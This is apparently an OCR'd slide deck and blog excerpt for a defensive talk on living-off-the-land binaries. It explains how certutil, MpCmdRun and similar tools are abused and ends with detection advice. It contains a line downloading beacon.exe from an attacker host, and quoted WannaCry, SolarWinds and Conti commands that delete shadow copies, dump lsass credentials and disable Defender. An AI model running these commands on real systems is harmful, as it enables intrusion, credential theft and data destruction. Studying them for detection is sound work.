

AGENDA


- Overview
- What are LOLBINs?
- How do they work?
- Why are they important?
- Conclusion





The Power to Manage IT














- Achieving their objectives (ransomware, exfiltration of data, destruction...)
- Not getting detected during the attack

- Blending in
- Use what is already available



WHAT ARE LOLBINS?

- Living Of the Land Binaries
- Coined by Philip Goh (@MathCasualty)
- Describe tools that can "(ab)used" in attacks and beyond their original purpose
- They are already available so no download necessary (Typically)

HOW DO THEY WORK

Binary (test.exe) **Expected Functionality**

Hidden Functionality





HOW DO THEY WORK



Property	Value
Description —	
File description	PeLauncher
Туре	Application
File version	1.0.0.0
Product name	PeLauncher
Product version	1.0.0.0
Copyright	Copyright © 2004-2019 CyberGhost S.A.
Size	16.2 KB
Date modified	08/03/2022 00:57
Language	Language Neutral
Legal trademarks	CyberGhost
Original filename	PeLauncher.exe


- Downloaded Cyber Ghost VPN
- Executed "PeLauncher.exe"



HOW DO THEY WORK

```
string str = ((IEnumerable<string>) args).Aggregate<string. string>(string.Empty,
string fileName = Path.Combine(Program.AppPath, "..\\..\\Dashboard.exe");
using (WindowsIdentity current = WindowsIdentity.GetCurrent())
{
   if (current.IsSystem || string.IsNullOrEmpty(str))
     return;
using (Process.Start(fileName, "!!launch " + str))
:
```

 We now have the ability to execute "arbitrary" binaries using "PeLauncher.exe"



certutil


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Certutil.exe is a command-line program, installed as part of Certificate Services. You can use certutil.exe to dump and display certification authority (CA) configuration information, configure Certificate Services, backup and restore CA components, and verify certificates, key pairs, and certificate chains.

- "Expected" behaviour is related to handling certificates.
- "Hidden" behaviour allow us to download any file to the system

C:\>certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe



You can perform various functions in Microsoft Defender Antivirus using the dedicated command-line tool **mpcmdrun.exe**. This utility is useful when you want to automate Microsoft Defender Antivirus tasks. You can find the utility in <code>%ProgramFiles%\Windows Defender\MpCmdRun.exe</code>. Run it from a command prompt.


- "Expected" behaviour is related to manage settings in Windows Defender.
- "Hidden" behaviour allow us to download any file to the system


C:\>MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe_



All you have to do is put 'conhost ' before your command. Simple yet effective way to frustrate parent-child relationships

Hunting for rare children of conhost may find malicious use!





LOLBAS 🕏 Star 4,171





Living Off The Land Binaries, Scripts and Libraries

For more info on the project, click on the logo.

If you want to contribute, check out our <u>contribution guide</u>. Our <u>criteria list</u> sets out what we define as a LOLBin/Script/Lib.

MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation. You can see the current ATT&CK® mapping of this project on the ATT&CK® Navigator.

If you are looking for UNIX binaries, please visit gtfobins.github.io.

Search among 156 binaries by name (e.g. 'MSBuild'), function (e.g. '/execute'), type (e.g. '#Script') or ATT&CK info (e.g. 'T1218')

Binary	Functions	Туре	ATT&CK® Techniques
<u>AppInstaller.exe</u>	Download	Binaries	T1105: Ingress Tool Transfer
Aspnet_Compiler.exe	AWL bypass	Binaries	T1127: Trusted Developer Utilities Proxy Execution
<u>At.exe</u>	Execute	Binaries	T1053.002: At (Windows)
Atbroker.exe	Execute	Binaries	T1218: Signed Binary Proxy Execution
Bash.exe	Execute AWL bypass	Binaries	T1202: Indirect Command Execution
<u>Bitsadmin.exe</u>	Alternate data streams Download Copy	Binaries	T1564.004: NTFS File Attributes T1105: Ingress Tool Transfer
	Execute		T1218: Signed Binary Proxy Execution
<u>CertOC.exe</u>	Execute Download	Binaries	T1218: Signed Binary Proxy Execution
			T1105: Ingress Tool

- They're already available on a system
- Allow the attacker to "blend in" with normal activity
- "Very" effective
- They are used in most attacks

Wannacry (2017)

```
icacls . /grant Everyone:F /T /C /Q
attrib +h +s <Drive Letter>:\$RECYCLE
taskkill.exe /f /im sglserver.exe
taskkill.exe /f /im sglwriter.exe
taskkill.exe /f /im mysqld.exe
cmd.exe /c start /b @WanaDecryptor@.exe vs
vssadmin delete shadows /all /quiet
wmic shadowcopy delete
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -g
cscript.exe //nologo <1 character>.vbs
```

Solarwinds (2020)

```
wmic /node:[target] process call create "rundl132 c:\windows\[folder]\
[beacon].dll [export]"
Invoke-WMIMethod win32 process -name create -argumentlist 'rund1132
c:\Windows\[folder]\[beacon].dll [export]' -ComputerName [target]
rundl132.exe c:\windows\[folder]\[beacon].dll [export]
netsh advfirewall firewall add rule name="[rulename1]" protocol=UDP
dir=out localport=137 action=block
schtasks /query /v /s [target] /fo csv
sc \\[target] guery type=service state=all
wmic /node: "[target]" service get name, startname
reg add HKLM\system\currentcontrolset\services\[service name] /v Start
/t REG DWORD /d 4"
```

• Conti (2021)

```
whoami /groups
net localgroup administrators
nltest /dclist:[domain]
rundl132.exe C:\windows\System32\comsvcs.dll,MiniDump PID
C:\ProgramData\lsass.dmp full
wmic /node: {1} process call create "rundll32.exe C:\ProgramData\2.dll
StartW"
wmic /node: "DC01" /user: "DOMAIN \admin" /password: "cleartextpass"
process call create "cmd / c vssadmin list shadows >> c: \log.txt"
powershell Set-MpPreference -DisableRealtimeMonitoring $true
reg add "HKEY LOCAL MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v
oldadministrator /t REG DWORD /d 0 / f
```

Why Hunting For LOLBINs Is One Of The Best Bets



Living of the Land - Photo by no one cares on Unsplash

Introduction

While working on <u>"Malicious Command-Line" (MAL-CL)</u>, documenting and researching the many use cases different tools can be (ab)used via the command line. I noticed a trend that in hindsight seems "obviously obvious" but is I believe worth saying nonetheless.

You don't drop things just because they're old and dusty, you drop them only when they stop working

And by things that "work" I mean of course our beloved LOLBINs.

LOLBINs are in some way like shiny pokemon in the sense that once you catch one you need to brag about it by using it all the time.

Now, we might talk about the latest C2 framework and how it'll offer command line obfuscation, parent/child spoofing, EDR unhooking, Direct Syscal invokes, and some other shenanigans that I'm not even aware of and while there is a thread of truth in those statements and attackers are certainly using these "advanced" techniques. The fact of the matter is attacks happen in a chain and in this chain often time than not LOLBINs are a big part of it.

Note: This blog post is in no capacity saying you should stop hunting for other stuff or hunt for X or Y. I'm simply pointing out a statistical observation that infer that "simple! = bad" necessarily

CONCLUSION

- LOLBINs are an effective way to achieve goals without brining your own tooling
- They are used in almost every reported attack in some shape or form
- LOLBAS Project is a great way to start familiarizing with LOLBINs and keeping yourself up to date
- SIGMA project already contains a bunch of detections that you can adapt to your environment

QUESTIONS?

THANKYOU

@nas_bench